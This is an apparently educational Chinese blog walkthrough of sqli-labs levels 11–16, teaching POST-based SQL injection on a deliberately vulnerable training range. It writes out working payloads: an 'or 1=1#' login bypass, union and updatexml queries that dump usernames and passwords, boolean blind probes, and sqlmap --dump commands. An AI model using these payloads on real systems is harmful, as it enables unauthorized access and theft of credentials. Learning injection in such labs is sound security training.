目录
sqli-labs靶场 Less-13(POST_基于报错的盲注--updatexml函数注入)
sqli-labs靶场 Less-14(POST_基于报错的盲注--updatexml函数注入)
sqli-labs靶场 Less-15(POST_基于布尔的盲注)
一般盲注比较繁琐,方法和GET型 一样,这里我就直接用sqlmap自动注入了,和第11关一样
sqli-labs靶场 Less-16(POST_基于布尔盲注)
其他的就和第十五关一样啦,只不过是把闭合方式改为"),就不多写了,各位师傅自行试一下哦。
下一篇更新less17~less19,不同注入点的错误注入,
不喜勿喷,如果有错误,希望各师傅来纠正,如有雷同,纯属巧合。
什么是POST型SQL注入
GET型SQL注入
- 使用HTTP的GET请求,数据通过URL传递,通常是通过查询字符串(Query String)来传递。
- 例如:
http://example.com/search?id=1
,其中id=1
是传递给服务器的参数。
POST型SQL注入
- 使用HTTP的POST请求,数据通过HTTP请求体(Body)传递,而不是在URL中显示。
- 例如,表单提交时,数据通过POST请求发送,数据通常是隐藏在请求的正文部分。
sqli-labs靶场 Less-11(POST_非盲注)
题目:
POST - Error Based - Single quotes- String
POST -基于错误-单引号-字符串
判断闭合方式
在用户名上输入下面的代码,密码随便写。
SQL 查询中,用户名字段通常用单引号 ' 来围绕(即字符串闭合)。当攻击者输入 ' 时,实际会闭合原来的字符串,打破 SQL 查询的结构。最终的sql语句为:
SELECT * FROM users WHERE username = '' OR 1=1 -- AND password = 'password123';
username = ''
:用户名部分为空字符串。OR 1=1
:总是返回真,导致该条件始终成立,查询结果返回所有用户。--
:注释掉了密码验证部分,导致查询不再考虑password = '2'
1\
提交后发现有报错的回显,根据报错位置可知是单引号闭合方式
万能密码
对于这种POST型的sql注入,我们先考虑能不能用万能密码直接通过,万能密码的原理也是破坏了sql语句原有的逻辑,从而使查询恒成立,具体原理可以看我的另一篇文章:万能密码详解
万能密码不是唯一的,只要符合逻辑都可以。
在这里是单引号的注入方式,所以我们构造万能密码为
1' or 1=1#
#注意:这里为什么用#注释,而不用-- ,是因为-- 在这一关没有起到任何注释的作用,所以我们尝试用#注释
发现直接以Dumb的账户成功登录
当万能密码不能用时,我们就老老实实的手动注入或者用sqlmap注入,先讲手动注入
判断字段数
和GET型注入一样,也是用union联合注入判断字段数
1' order by 3#
当是3时报错,当是2时没有报错,说明字段数为2
1' order by 2#
判断报错回显位置
根据报错信息是回显位置为字段1和字段2
1' union 1,2#
判断数据库
1' union select 1,database()#
判断数据表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
判断列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
爆出数据
1' union select 1,(select group_concat(username,':',password) from security.users)#
也可以用sqlmap自动注入工具
sqlmap工具注入
安装sqlmap
安装sqlmap很简单,先到官网https://sqlmap.org/下载压缩包
解压到python的安转路径目录下,在sqlmap的目录下以管理员的身份运行cmd
输入下面的代码安装sqlmap
python sqlmap.py
这样就成功安装了
bp抓包
先用bp抓包,再把POST数据包保存到1.txt文件
判断数据库
有一些选项都选y
python sqlmap.py -r "D:\1.txt" --dbs
成功得到数据库
判断数据表
python sqlmap.py -r "D:\1.txt" -D security --tables
判断列名
python sqlmap.py -r "D:\1.txt" -D security -T users --columns
爆出表中的数据
python sqlmap.py -r "D:\1.txt" -D security -T users -C "username,password" --dump
sqli-labs靶场 Less-12(POST_非盲注)
题目:POST - Error Based - Double quotes- String - with twist
POST -基于错误的-双引号-字符串-扭曲
判断闭合方式
1\
发现页面报错信息如下,所以闭合方式为")
判断字段数
同样发现3的时候报错,2的时候没有报错
1") order by 3#
判断报错回显位置
和第11关一样我就不解释了,只放结果图,可以选择sqlmap会快一点,如果想练习代码,加强熟悉度,可以手动注入,加强理解。
1") union select 1,2#
判断数据库
1") union select 1,databasee()#
判断数据表
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
判断列名
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
爆出表的数据
1") union select 1,group_concat(username,':',password) from users#
sqli-labs靶场 Less-13(POST_基于报错的盲注--updatexml函数注入)
题目:POST - Double Injection - Single quotes- String - with twist
POST -双注入-单引号-字符串-扭曲
判断闭合方式
也可以根据题目的提示,该闭合方式是')
1\
判断字段数
字段数为2
判断报错回显位置
发现没有回显位置,但是有报错信息,所以和第五关第六关一样,是基于报错的盲注,用updatexml函数,具体解释和用法看我的第二篇SQL注入详说updataxml
判断数据库(security)
1') and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
判断数据表
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
判断列名
1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#
爆出数据
1') and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1)#
sqli-labs靶场 Less-14(POST_基于报错的盲注--updatexml函数注入)
题目:POST-双注入-单引号-字符串-扭曲
PosT-Double Injection -Single quotes-String -with twist
判断闭合方式
双引号闭合方式,不知道为什么题目是单引号
1\
判断字段数
同样发现有两个字段
判断报错回显位置
在username输入以下代码,也是 没有回显位置,和13关一样
1" union select 1,2#
updatexml函数判断数据库
和第13关一样就不多写了,直接把结果截图
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
判断数据表
判断列名
爆出数据
sqli-labs靶场 Less-15(POST_基于布尔的盲注)
题目:盲-布尔/基于时间-单引号
Blind-Boolian/time Based -Single quotes
判断闭合方式
当我们按照平时的方式输入1\时,发现没有报错的信息,和GET型的时间盲注一样,也可以用布尔盲注,时间盲注在我写的另一篇less5-less10关,这里我就用布尔盲注
根据题目的提示,该题目是基于单引号的盲注
判断数据库
当数据库的长度大于7时,页面登录成功,当数据库的长度是大于8时,页面登录失败,所以数据库的长度为8
1' or length(database())>7#
判断数据库的第一个字母,在这里我们用ascii函数判断数据库,大于114是登录成功,大于115时登录失败,所以第一个字母的ascii值为115,即s
1' or ascii(substr(database(),1,1))>114#
以此类推,可得到数据库为security,接着判断数据表
判断数据表
判断数据表的长度,其实做了这么久也发现了,不管是GET型还是POST型,都离不开基本的数据库、数据表、字段等的查询语句。
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#
一般盲注比较繁琐,方法和GET型 一样,这里我就直接用sqlmap自动注入了,和第11关一样
sqlmap注入
bp抓包
数据库
python sqlmap.py -r "D:\1.txt" --dbs
数据表
python sqlmap.py -r "D:\1.txt" -D security --tables
数据列名
python sqlmap.py -r "D:\1.txt" -D security -T users --columns
爆出数据
比较慢就不跑完了,各位师傅自行试试
python sqlmap.py -r "D:\1.txt" -D security -T users -C "username,password" --dump
sqli-labs靶场 Less-16(POST_基于布尔盲注)
题目:POST-盲-布尔/基于时间-双引号
bosT-Blind-Boolian/Time Based -Double quote
判断闭合方式
发现只有")时才成功,所以闭合方式是")
1") or 1=1#
其他的就和第十五关一样啦,只不过是把闭合方式改为"),就不多写了,各位师傅自行试一下哦。
下一篇更新less17~less19,不同注入点的错误注入,
不喜勿喷,如果有错误,希望各师傅来纠正,如有雷同,纯属巧合。
0基础SQL注入小白可以关注我哦~,和我一起自律学习